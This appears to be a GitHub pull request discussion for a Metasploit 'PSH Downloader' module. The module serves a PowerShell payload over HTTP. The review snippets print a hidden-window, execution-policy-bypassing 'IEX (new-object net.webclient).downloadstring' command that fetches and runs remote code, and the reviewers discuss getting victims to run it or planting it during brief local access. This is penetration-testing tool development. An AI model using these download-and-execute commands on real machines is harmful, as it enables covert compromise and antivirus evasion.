-
Notifications
You must be signed in to change notification settings - Fork 14k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
PSH Downloader #2133
PSH Downloader #2133
Conversation
@meatballs - isnt psh wonderful? Nice module, thanks. |
end | ||
|
||
def exploit | ||
datastore['URIPATH'] ||= Rex::Text.rand_text_alpha(6) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This is a bit naughty, but we cant access a randomly generated URIPATH as we haven't called super yet.
We cant print anything out after calling super as it goes off into a new thread.
There is only one event handler for HTTPServer? It would be nice to have an event handler for service start/service stop...?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I agree, it doesn't look good. Why don't use the primer callback, which is called once the service has been started?
Using the primer callback the code would be something like:
def primer
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{get_uri}'))"
print_good(download_and_run)
print_good("powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"")
end
Let me know if it has sense for you, please.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
On the other side, are the two print_good necessary :? looks like just the second print_good is needed to share the command line which the victim should run from powershell, right?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Finally, the attack vector proposed is share this command line with a victim, and try to convince him to execute it from powershell, right?? just to be sure I'm not forgetting nothing.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yeah its not a super-duper attack! Its more the case that, you grab local access on a machine when they've stepped away and want to plant something quickly (and hopefully avoid AV/USB arbiters). Or gain RDP access to a machine but want the goodness of meterpreter but without the effort of mapping drives, copying across, downloading a script from http saving and opening etc :)
I'll look at the primer callback - I couldn't see that being called/didn't know it existed :)
Would it be beneficial to merge my code that executes the command with this module? https://github.com/jakxx/metasploit-framework/blob/master/modules/exploits/windows/powershell/powershell_psexec.rb That way, if you know the credentials a shell should follow soon after. Thoughts? |
However, if you are wanting to keep it as a stand alone thing, I could do a separate PR as well... Just wanting to get a feel for what would make the most sense. |
@jakxx You can use exploits/windows/smb/psexec_psh.rb for that? The purpose of this module isn't to deliver a remote exploit its to escalate to a more flexible payload if you already have local command execution. |
@Meatballs1 ahh gotcha. ok cool. Do you see any benefit to having another module that uses the IEX method as opposed to passing the command as one long parameter (current psexec_psh), or no? |
I think it is definitely useful, but perhaps as: cmdstager_http_psh mixin? E.g. You write an exploit for command execution on a web page but limited length this technique would be great. That would be a good alternative to the cmdstager_vbs as its so short and doesn't drop a file. |
url += ":" + datastore['SRVPORT'].to_s + "/" + datastore['URIPATH'] | ||
download_and_run = "IEX ((new-object net.webclient).downloadstring('#{url}'))" | ||
print_good(download_and_run) | ||
print_good("powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You might want to display the command to use the forced 32-bit version of powershell for 64-bit machines with something like this:
print_good("C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"")
That way x86 payloads can be used even if the machine is x64
Processing... |
Works with both methos (cmd and powershell):
|
Whacked together this module after being inspired by http://www.pentestgeek.com/2013/07/19/invoke-shellcode/
Generates a psh payload and serves it up via HTTP. Gives you the command line to run on local machine.
Handy if you don't have web access as per the blog, or working in a test environment etc. Also its somewhere I can goto when I forget the one liner...